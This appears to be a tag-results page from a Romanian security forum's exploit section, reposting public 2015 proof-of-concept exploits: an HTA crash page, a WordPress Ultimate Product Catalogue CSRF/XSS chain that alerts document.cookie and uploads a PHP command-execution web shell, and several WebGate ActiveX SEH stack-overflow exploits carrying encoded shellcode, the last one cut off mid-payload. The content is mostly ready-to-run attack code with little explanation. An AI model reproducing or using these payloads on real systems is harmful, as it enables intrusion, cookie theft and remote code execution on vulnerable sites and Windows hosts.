Showing results for tags 'var'. - Romanian Security Team

Microsoft Windows HTA Crash Proof Of Concept

/* #[+] Author: Mohammad Reza Espargham #[+] Title: MS Windows HTA (HTML Aplication) - Crash PoC #[+] Date: 19-05-2015 #[+] Tested on: Win7 dash> save below code as Crash.hta file and Double Click on it Crash... */ <html> <title>Mohammad Reza Espargham</title> </br> <body onload="javascript:ReZa();"></body> <script> function ReZa() { var buffer = '\x43'; var buffer1 = '\x42'; var buffer2 = '\x41'; for (i =0;i<956;i++) { buffer+=buffer+'\x42'; document.write('<>'+buffer+buffer1+buffer2); }} </script> </html> Source @alinpetre abia a aparut pe packetstorm verifica si tu inainte sa comentezi.

June 7, 2015
1 reply
- #[+]
- crash
- (and 3 more)
  Tagged with:
  - #[+]
  - crash
  - hta
  - reza
  - var

WordPress Ultimate Product Catalogue 3.1.2 XSS / CSRF / File Upload

Aerosol posted a topic in Exploituri

# Exploit Title: Multiple Persistent XSS & CSRF & File Upload on Ultimate Product Catalogue 3.1.2 # Google Dork: inurl:"SingleProduct" intext:"Back to catalogue" intext:"Category", inurl:"/wp-content/plugins/ultimate-product-catalogue/product-sheets/" # Date: 22/04/2015 # Exploit Author: Felipe Molina de la Torre (@felmoltor) # Vendor Homepage: https://wordpress.org/plugins/ultimate-product-catalogue/ # Software Link: https://downloads.wordpress.org/plugin/ultimate-product-catalogue.3.1.2.zip # Version: <= 3.1.2, Comunicated and Fixed by the Vendor in 3.1.5 # Tested on: Linux 2.6, PHP 5.3 with magic_quotes_gpc turned off, Apache 2.4.0 (Ubuntu) # CVE : N/A # Category: webapps 1. Summary: Ultimate Product Catalogue is a responsive and easily customizable plugin for all your product catalogue needs. It has +63.000 downloads, +4.000 active installations. Product Name and Description and File Upload formulary of plugin Ultimate Product Catalog lacks of proper CSRF protection and proper filtering. Allowing an attacker to alter a product pressented to a customer or the wordpress administrators and insert XSS in his product name and description. It also allows an attacker to upload a php script though a CSRF due to a lack of file type filtering when uploading it. 2. Vulnerability timeline: - 22/04/2015: Identified in version 3.1.2 - 22/04/2015: Comunicated to developer company etoilewebdesign.com - 22/04/2015: Response from etoilewebdesign.com and fixed two SQLi in 3.1.3 but not these vulnerabilities. - 28/04/2015: Fixed version in 3.1.5 without notifying me. 3. Vulnerable code: In file html/ProductPage multiple lines. 3. Proof of concept: https://www.youtube.com/watch?v=roB_ken6U4o ---------------------------------------------------------------------------------------------- ------------- CSRF & XSS in Product Description and Name ----------- ---------------------------------------------------------------------------------------------- <iframe width=0 height=0 style="display:none" name="csrf-frame"></iframe> <form method='POST' action='http:// <web>/wp-admin/admin.php?page=UPCP-options&Action=UPCP_EditProduct&Update_Item=Product&Item_ID=16' target="csrf-frame" id="csrf-form"> <input type='hidden' name='action' value='Edit_Product'> <input type='hidden' name='_wp_http_referer' value='/wp-admin/admin.php?page=UPCP-options&Action=UPCP_EditProduct&Update_Item=Product&Item_ID=16'/> <input type='hidden' name='Item_Name' value="Product name</a><script>alert('Product Name says: '+document.cookie)</script><a>"/> <input type='hidden' name='Item_Slug' value='asdf'/> <input type='hidden' name='Item_ID' value='16'/> <input type='hidden' name='Item_Image' value=' http://i.imgur.com/6cWKujq.gif'> <input type='hidden' name='Item_Price' value='666'> <input type='hidden' name='Item_Description' value="Product description says<script>alert('Product description says: '+document.cookie)</script>"/> <input type='hidden' name='Item_SEO_Description' value='seo desc'> <input type='hidden' name='Item_Link' value=''> <input type='hidden' name='Item_Display_Status' value='Show'> <input type='hidden' name='Category_ID' value=''> <input type='hidden' name='SubCategory_ID' value=''> <input style="display:none" type='submit' value='submit'> </form> <script>document.getElementById("csrf-form").submit()</script> ---------------------------------------------------------------------------------------------- -------- CSRF & File Upload in Product Description and Name ------ ---------------------------------------------------------------------------------------------- <html> <body onload="submitRequest();"> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://<web>/wp-admin/admin.php?page=UPCP-options&Action=UPCP_AddProductSpreadsheet&DisplayPage=Product", true); xhr.setRequestHeader("Host", "<web>"); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); xhr.setRequestHeader("Cache-Control", "max-age=0"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8,es;q=0.6"); xhr.setRequestHeader("User-Agent", "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.37 Safari/537.36"); xhr.setRequestHeader("Accept-Encoding", "gzip, deflate"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=----WebKitFormBoundarylPTZvbxAcw0q01W3"); var body = "------WebKitFormBoundarylPTZvbxAcw0q01W3\r\n" + "Content-Disposition: form-data; name=\"Products_Spreadsheet\"; filename=\"cooldog.php\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "<?php\r\n" + "exec($_GET['c'],$output);\r\n" + "foreach ($output as $line) {\r\n" + "echo \"<br/>\".$line;\r\n" + "}\r\n" + "?>\r\n" + "------WebKitFormBoundarylPTZvbxAcw0q01W3\r\n" + "Content-Disposition: form-data; name='submit'\r\n" + "\r\n" + "Add New Products\r\n" + "------WebKitFormBoundarylPTZvbxAcw0q01W3--\r\n" ; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input style="display:none;" type="submit" value="Up!" onclick="submitRequest();" /> </form> </body> </html> Te file cooldog.php is no available in path http:// <web>/wp-content/plugins/ultimate-product-catalogue/product-sheets/cooldog.php Source

May 6, 2015
- catalogue
- csrf
- (and 3 more)
  Tagged with:
  - catalogue
  - csrf
  - file
  - product
  - var

WebGate eDVR Manager 2.6.4 Connect Method Stack Buffer Overflow

Aerosol posted a topic in Exploituri

<html>  <object classid='clsid:BAAA6516-267C-466D-93F5-C504EF973837' id='target'> </object> <script> var arg1="PraveenD"; var arg2=1; var arg3= ""; var arg4="PraveenD"; var nops = ""; var shellcode = ""; var buff2 = ""; for (i=0; i<1664; i++) { arg3 += "B"; } var nseh = "\xeb\x10PD"; //WESPSerialPort.dll(0x100104e7 = pop pop ret) var seh = "\xe7\x04\x01\x10"; for (i=0;i<80; i++) { nops += "\x90"; } shellcode = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" + "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" + "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" + "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" + "\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" + "\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" + "\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" + "\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" + "\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" + "\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" + "\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" + "\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" + "\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" + "\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" + "\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" + "\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" + "\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" + "\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" + "\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" + "\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" + "\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" + "\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" + "\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" + "\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" + "\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" + "\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" + "\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" + "\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" + "\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" + "\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" + "\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" + "\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" + "\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" + "\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41"; for (i=0;i<(8000 - (arg3.length + nseh.length + seh.length + nops.length + shellcode.length)); i++) { buff2 += "A"; } fbuff = arg3 + nseh + seh + nops + shellcode + buff2; target.Connect(arg1, arg2, fbuff ,arg4); </script> </html> Source

April 3, 2015
- arg4=praveend;
- i=0;
- (and 3 more)
  Tagged with:
  - arg4=praveend;
  - i=0;
  - nops
  - shellcode
  - var

WebGate eDVR Manager 2.6.4 AudioOnlySiteChannel Stack Buffer Overflow

Aerosol posted a topic in Exploituri

<html>  <object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='target'> </object> <script> var arg1 = ""; var arg2 = 1; var arg3 = 1; var nops = ""; var shellcode = ""; var buff2 = ""; for (i=0; i<128; i++) { arg1 += "B"; } var nseh = "\xeb\x10PD"; var seh = "\xa0\xf2\x07\x10"; for (i=0;i<80; i++) { nops += "\x90"; } shellcode = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" + "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" + "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" + "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" + "\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" + "\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" + "\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" + "\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" + "\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" + "\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" + "\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" + "\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" + "\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" + "\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" + "\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" + "\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" + "\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" + "\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" + "\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" + "\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" + "\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" + "\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" + "\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" + "\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" + "\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" + "\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" + "\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" + "\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" + "\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" + "\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" + "\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" + "\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" + "\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" + "\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41"; for (i=0;i<(5000 - (arg1.length + nseh.length + seh.length + nops.length + shellcode.length)); i++) { buff2 += "A"; } fbuff = arg1 + nseh + seh + nops + shellcode + buff2; target.AudioOnlySiteChannel(fbuff ,arg2 ) = arg3 </script> </html> Source

April 3, 2015
- arg3
- buff2
- (and 3 more)
  Tagged with:
  - arg3
  - buff2
  - nops
  - shellcode
  - var

Webgate WESP SDK 1.2 ChangePassword Stack Overflow

Aerosol posted a topic in Exploituri

<html>  <object classid='clsid:9B61891E-D876-476E-B1E8-AA662F332004' id='target'> </object> <script> var arg1 = ""; var arg2 = "PraveenD"; var nops = ""; var shellcode = ""; var buff2 = ""; for (i=0; i<248; i++) { arg1 += "B"; } var nseh = "\xeb\x10PD"; //WESPConfig.dll(0x10022f35 = pop pop pop ret) var seh = "\x3d\x2f\x02\x10"; for (i=0;i<80; i++) { nops += "\x90"; } shellcode = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" + "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" + "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" + "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" + "\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" + "\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" + "\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" + "\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" + "\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" + "\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" + "\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" + "\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" + "\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" + "\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" + "\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" + "\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" + "\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" + "\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" + "\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" + "\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" + "\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" + "\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" + "\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" + "\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" + "\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" + "\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" + "\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" + "\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" + "\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" + "\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" + "\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" + "\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" + "\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" + "\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41"; for (i=0;i<(5000 - (arg1.length + nseh.length + seh.length + nops.length + shellcode.length)); i++) { buff2 += "A"; } fbuff = arg1 + nseh + seh + nops + shellcode + buff2; target.ChangePassword(fbuff ,arg2); </script> </html> Source

April 3, 2015
- buff2
- nops
- (and 3 more)
  Tagged with:
  - buff2
  - nops
  - praveend;
  - shellcode
  - var

WebGate WinRDS 2.0.8 StopSiteAllChannel Stack Overflow

Aerosol posted a topic in Exploituri

<html> <title>WebGate WinRDS WESPPlayback.WESPPlaybackCtrl.1 StopSiteAllChannel Stack Buffer Overflow Vulnerability (0Day)</title>  <object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='ssac'> </object> <script> var buff1 = ""; var nops = ""; var buff2 = ""; for (i=0;i<128; i++) { buff1 += "B"; } nseh = "\xeb\x08PD"; //pop pop ret = 1007f2a0 (0x1007f29e) 1007f2a0 var seh = "\xa0\xf2\x07\x10"; for (i=0;i<80; i++) { nops += "\x90"; } sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" + "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" + "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" + "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" + "\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" + "\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" + "\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" + "\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" + "\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" + "\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" + "\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" + "\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" + "\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" + "\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" + "\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" + "\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" + "\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" + "\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" + "\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" + "\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" + "\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" + "\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" + "\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" + "\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" + "\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" + "\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" + "\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" + "\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" + "\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" + "\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" + "\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" + "\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" + "\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" + "\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41"; for (i=0;i<(5000 - (buff1.length + nseh.length + seh.length + nops.length + sc.length)); i++) { buff2 += "A"; } fbuff = buff1 + nseh + seh + nops + sc + buff2; ssac.StopSiteAllChannel(fbuff); </script> </html> Source

March 28, 2015
- overflow
- stack
- (and 3 more)
  Tagged with:
  - overflow
  - stack
  - var
  - webgate
  - winrds

WebGate eDVR Manager Stack Buffer Overflow

Aerosol posted a topic in Exploituri

<html>  <object classid='clsid:B19147A0-C2FD-4B1F-BD20-3A3E1ABC4FC3' id='target'> </object> <script> var arg1 = ""; nops = ""; var buff = ""; for(i=0;i<268;i++) { arg1 += "B"; } nseh = "\xeb\x10\x90\x90"; //jmp over addr seh = "\x71\x47\x01\x10"; //pop pop ret addr document.write("</br>"+"Lengths: arg1="+arg1.length+" seh="+seh.length+"</br>"); for(i=0;i<200;i++) { nops += "\x90"; } sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" + "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" + "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" + "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" + "\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" + "\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" + "\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" + "\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" + "\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" + "\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" + "\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" + "\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" + "\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" + "\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" + "\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" + "\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" + "\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" + "\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" + "\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" + "\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" + "\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" + "\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" + "\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" + "\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" + "\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" + "\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" + "\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" + "\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" + "\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" + "\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" + "\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" + "\x47\x37\x32\x33\x53\x42\x42\x4f\x42\x4a\x55\x50\x46" + "\x33\x4b\x4f\x49\x45\x43\x53\x53\x51\x52\x4c\x52\x43" + "\x36\x4e\x55\x35\x44\x38\x33\x55\x33\x30\x41\x41"; for(i=0;i<(4000-(arg1.length + seh.length + nseh.length + nops.length+ sc.length));i++) { buff += "A"; } // [junk buffer][next SEH(jump)][SE Handler (pop pop ret)][Shellcode] fbuff = arg1 + nseh + seh + nops + sc + buff; target.LoadImage(fbuff); </script> </html> Source

March 28, 2015
- buff
- edvr
- (and 3 more)
  Tagged with:
  - buff
  - edvr
  - fori=0;i
  - nops
  - var

WebGate Control Center 4.8.7 GetThumbnail Stack Overflow

KhiZaRix posted a topic in Exploituri

<html>  <object classid='clsid:4E14C449-A61A-4BF7-8082-65A91298A6D8' id='getthumb'> </object> <script> var buff1 = ""; var arg2=1; var arg3=1; var arg4=1; var nops = ""; var buff2 = ""; for (i=0;i<24; i++) { buff1 += "B"; } // jump over seh to shellcode nseh = "\xeb\x08PD"; // pop pop ret var seh = "\xa0\xf2\x07\x10"; for (i=0;i<80; i++) { nops += "\x90"; } //calc.exe payload sc = "\x54\x5d\xda\xc9\xd9\x75\xf4\x59\x49\x49\x49\x49\x49" + "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30" + "\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30" + "\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42" + "\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a" + "\x49\x4b\x4c\x5a\x48\x4b\x32\x45\x50\x55\x50\x43\x30" + "\x53\x50\x4b\x39\x4d\x35\x30\x31\x4f\x30\x52\x44\x4c" + "\x4b\x56\x30\x46\x50\x4c\x4b\x31\x42\x34\x4c\x4c\x4b" + "\x31\x42\x44\x54\x4c\x4b\x32\x52\x47\x58\x54\x4f\x38" + "\x37\x50\x4a\x37\x56\x46\x51\x4b\x4f\x4e\x4c\x57\x4c" + "\x35\x31\x33\x4c\x33\x32\x46\x4c\x37\x50\x49\x51\x48" + "\x4f\x34\x4d\x45\x51\x4f\x37\x4d\x32\x4a\x52\x36\x32" + "\x46\x37\x4c\x4b\x36\x32\x32\x30\x4c\x4b\x30\x4a\x37" + "\x4c\x4c\x4b\x30\x4c\x32\x31\x54\x38\x5a\x43\x51\x58" + "\x33\x31\x4e\x31\x30\x51\x4c\x4b\x36\x39\x47\x50\x53" + "\x31\x48\x53\x4c\x4b\x30\x49\x35\x48\x5a\x43\x36\x5a" + "\x57\x39\x4c\x4b\x46\x54\x4c\x4b\x33\x31\x49\x46\x56" + "\x51\x4b\x4f\x4e\x4c\x49\x51\x38\x4f\x54\x4d\x35\x51" + "\x58\x47\x37\x48\x4d\x30\x34\x35\x4a\x56\x43\x33\x43" + "\x4d\x5a\x58\x37\x4b\x43\x4d\x46\x44\x43\x45\x4d\x34" + "\x56\x38\x4c\x4b\x56\x38\x31\x34\x43\x31\x4e\x33\x42" + "\x46\x4c\x4b\x44\x4c\x30\x4b\x4c\x4b\x36\x38\x45\x4c" + "\x45\x51\x4e\x33\x4c\x4b\x54\x44\x4c\x4b\x33\x31\x48" + "\x50\x4c\x49\x57\x34\x36\x44\x51\x34\x51\x4b\x51\x4b" + "\x33\x51\x30\x59\x50\x5a\x36\x31\x4b\x4f\x4b\x50\x31" + "\x4f\x51\x4f\x51\x4a\x4c\x4b\x42\x32\x5a\x4b\x4c\x4d" + "\x31\x4d\x53\x5a\x35\x51\x4c\x4d\x4c\x45\x58\x32\x43" + "\x30\x53\x30\x55\x50\x56\x30\x42\x48\x50\x31\x4c\x4b" + "\x42\x4f\x4d\x57\x4b\x4f\x59\x45\x4f\x4b\x5a\x50\x48" + "\x35\x4f\x52\x30\x56\x53\x58\x4e\x46\x5a\x35\x4f\x4d" + "\x4d\x4d\x4b\x4f\x38\x55\x47\x4c\x53\x36\x33\x4c\x45" + "\x5a\x4b\x30\x4b\x4b\x4b\x50\x43\x45\x43\x35\x4f\x4b" + 